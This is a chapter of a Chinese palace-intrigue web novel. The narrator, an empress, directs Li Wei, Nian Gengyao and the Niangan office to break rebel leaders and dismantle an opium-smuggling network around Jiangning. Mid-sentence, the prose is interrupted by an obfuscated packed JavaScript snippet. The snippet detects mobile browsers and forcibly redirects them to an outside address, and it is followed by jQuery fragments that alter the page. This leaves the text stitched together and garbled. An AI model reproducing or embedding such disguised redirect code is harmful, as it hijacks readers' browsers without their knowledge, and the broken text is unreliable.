从阴冷压抑的牢房回到曹府略显清冷的书房,空气中那股属于胜利的肃杀之气尚未完全沉淀,但更具体、更繁琐的战后清理与巩固工作,已如潮水般涌来。廖秀英的崩溃与供述,验证了“诛心”之策的威力,也提供了追查烟土网络的关键线索。但这只是一个开始。
我看着李卫,他眼中还残留着记录口供时的专注与对后续行动的急切。我缓缓开口,声音带着一丝疲惫后的清晰:
“李大人,廖氏女的供述,你立刻着手核实、布置抓捕。但对付杨继祖、徐天雄、郭威那几个老奸巨猾、中毒已深的头目,光靠寻常审讯,恐怕难以让他们真正认罪伏法,更难以让他们背后的追随者清醒。”
李卫点头,深以为然:“娘娘所言极是。此等枭雄,心智坚定,寻常刑罚恐难撼动其心志,反可能让他们自诩‘忠烈’。需得从根本上,戳破他们赖以蛊惑人心的那套‘道义’说辞。”
“不错。” 我走到书案旁,指尖拂过甄嬛摘抄整理的那本厚厚的史料册子,“就用这个——《明实录》。让他们自己好好看看,他们口口声声要‘光复’的明朝,在它最后的岁月里,把这江南,把他们口中要‘拯救’的百姓,祸害成了什么样子! 矿监税使的横行,是他们口中的‘仁政’?天灾不赈、饿殍遍野,是他们怀念的‘盛世’?三饷盘剥、民不聊生,是他们要恢复的‘纲纪’?明军饥寒、形同乞丐,是他们指望的‘王师’?”
我的声音带着冰冷的嘲讽:“把这些铁一般的事实,一条条摆在他们面前,让他们在自己祖宗写的史书面前,哑口无言!看看他们那套‘反清复明’的遮羞布,还扯不扯得下去!”
李卫眼中光芒大盛:“娘娘圣明!以子之矛,攻子之盾!用明朝自己的史书,去打那些打着明朝旗号造反的逆贼的脸! 此计大妙!比任何刑罚都更能让他们崩溃!”
我顿了顿,补充道:“如果觉得还不够,李卫,你去寻几个被烟土祸害得人不人、鬼不鬼的大烟鬼来,让他们也‘见识见识’。问问杨继祖、徐天雄,他们走私的烟土,把这些好端端的人,祸害成了什么样子!他们所谓的‘反清大业’、‘筹措经费’,就是建立在这样毒害同胞、毁人家室的罪恶之上!让他们看看,他们追求的‘光复’,底下垫着多少同胞的尸骨和血泪!”
“臣明白了!” 李卫重重抱拳,脸上露出一种混合了义愤与决然的神色,“臣这就去安排!先以《明实录》诛其心,再以烟鬼惨状毁其道,定要让他们,还有那些可能被蒙蔽的愚顽,彻底认清其行径之卑劣虚妄!”
“去吧。务必小心,抓捕烟土网络相关人犯时,行动要迅猛,证据要确凿,防止他们狗急跳墙,销毁证据或制造事端。” 我再次叮嘱。
“臣遵旨!” 李卫领命,匆匆而去。书房内暂时只剩下我与甄嬛、剪秋。
我揉了揉眉心,连日来的精神紧绷与繁重思虑,让我也感到一丝疲惫。但事情还远未结束。武力清剿了红帮总部,只是拔除了最显眼的毒刺。其庞大的地下网络、走私渠道、潜伏人员,以及更麻烦的烟土问题,仍如一张巨网,隐藏在江南的各个角落。而江宁城,刚刚经历了一场“内讧”大戏和雷霆剿匪,人心尚未完全安定,驻军也需要时间休整、消化战果,并防备可能的反扑或骚乱。
年羹尧的西北军,此刻成了我手中最机动、也最具威慑力的一张牌。该用出去了。
“剪秋,去请年大将军来。” 我吩咐道。
不多时,年羹尧那高大挺拔、带着沙场风霜的身影便出现在书房门口。他依旧穿着那身行装,神色恭谨,但眉宇间那股属于百战名将的锐气与隐隐的威势,却是无论如何也掩藏不住的。
“臣年羹尧,参见皇后娘娘。”
“大将军请起,看座。” 我示意他坐下,没有多余的寒暄,直接将廖秀英的部分供述摘要递给了他,“大将军请看这个。”
年羹尧双手接过,快速浏览,脸色渐渐凝重,眉头锁紧:“烟土……走私网络…… 娘娘,此事果然牵连甚广,为祸甚烈!”
“不错。” 我沉声道,“红帮总部虽破,首脑被擒,但其地下网络盘根错节,尤其是这烟土走私,利润惊人,牵扯的恐怕不止是红帮余孽,江宁本地的青帮、乃至一些唯利是图的商贾、胥吏,甚至不排除还有漏网的军中败类,都可能参与其中。这些人如同地鼠,藏得很深。”
我看着他,目光坦诚而郑重:“江宁城刚刚经历动荡,督标、抚标、驻防八旗,此刻首要任务是确保江宁府城及周边核心地带的绝对稳定,弹压可能出现的零星骚乱,安抚民心。万一有残余逆贼或趁火打劫之徒闹出点事情,刚刚稳定的局面恐再生波折。因此,追剿这些散布在江宁外围乃至苏州、镇江等地的残余地下网络、查抄烟土储存点的任务……”
我顿了顿,直视年羹尧的眼睛:“本宫想交给大将军,和你麾下的西北儿郎。”
年羹尧霍然起身,抱拳道:“臣,万死不辞! 请娘娘放心,臣与西北将士,定当犁庭扫穴,将这些藏污纳垢之所,一一荡平!绝不让半点毒物流入市面,也绝不让一个逆贼余孽逃脱!”
“大将军忠勇,本宫自然信得过。” 我抬手示意他坐下,语气放缓,“不过,此事还需谨慎。廖秀英所知有限,其供述未必全真,也可能有遗漏,甚至不排除是红帮故布疑阵。在动手之前,必须核实清楚,摸准脉络。”
我转向侍立一旁的一名粘杆处首领:“粘杆处,即刻抽调精干人手,配合年大将军。你们的任务是,根据现有口供和线索,秘密侦查、核实这些烟土网络的真实情况——储存地点是否准确、守卫力量如何、运输路线有无变更、还有哪些未知的节点和人物。务必查实、查细,绝不可有半点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018805|193341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
含糊! 那些野心家为了保命或混淆视听,所说难免有不实之处,你们要替大将军,把好这第一道关!”
“嗻!奴才明白!定当仔细勘查,不使大将军麾下儿郎白跑一趟,亦不让逆贼有漏网之机!” 粘杆处首领肃然应道。
年羹尧闻言,看向我的目光中,除了恭谨,更多了一丝真正的信服与慎重。他明白,我这不是不信任他的能力,而是要将行动的风险降至最低,确保每一击都打在要害上,避免因情报失误而打草惊蛇或造成不必要的损失与伤亡。
“娘娘思虑周详,臣感佩。” 年羹尧再次抱拳,“臣会与粘杆处的弟兄紧密配合,先侦查,后动手,务求一击必中,连根拔起。在最终核实清楚之前,臣的兵马会保持隐蔽待命状态,绝不轻举妄动。”
“如此甚好。” 我点了点头,“李卫那边审讯杨继祖等人,或许还能挖出更多线索。大将军可稍待几日,看看审讯结果,与粘杆处的侦查相互印证,再拟定最终的清剿方案。记住,要么不动,动则如雷霆,务必全功! 本宫要的,是彻底斩断这条毒流,还江南一个干净的肺腑!”
“臣,谨遵懿旨!绝不辱使命!” 年羹尧的声音斩钉截铁,带着不容置疑的决心。
看着他领命而去的坚定背影,我轻轻舒了口气。军事清剿、司法审讯、情报侦查、舆论诛心、经济追查……多管齐下,层层推进。这张针对江南黑恶势力与叛逆毒瘤的大网,正在我,不,是在雍正的支持下,在所有忠于朝廷的能臣干吏的共同努力下,越收越紧。
前路依然艰难,烟土之祸尤烈,青帮未除,更深层的腐败可能还未触及。但至少,我们已经斩断了最嚣张的那颗头颅,握住了最致命的毒脉,并且,有了年羹尧这把最锋利的刀。
接下来,就看李卫的审讯能挖出多少,粘杆处的侦查能探明多深,以及年羹尧的西北铁骑,何时能以雷霆之势,给予这江南的地下世界,最后一记重击了。
“娘娘,您也歇歇吧。” 甄嬛端上一盏新沏的参茶,轻声劝道。
我接过茶盏,温热透过瓷壁传来。是啊,是得歇歇,积蓄力量。因为真正的硬仗,或许还在后头。年羹尧这把刀,用好了是国之利器,用不好……我摇了摇头,将某些不合时宜的念头暂时压下。至少眼下,目标一致,敌人在前。
“你也辛苦了,嬛儿。” 我对甄嬛温言道,“那些史料摘抄,派上大用场了。接下来,怕还有得忙。关于兴办女学的事,你也再想想,等江宁彻底安定下来,我们便着手推动。”
甄嬛眼睛一亮,用力点头:“是,娘娘。臣妾记下了。”
窗外,暮色四合,江宁城华灯初上。这座刚刚经历了一场无声风暴洗礼的古城,在夜色中显得格外静谧,也格外深沉。我知道,这静谧之下,仍有暗流汹涌。但我们,已做好了继续搏浪前行的准备。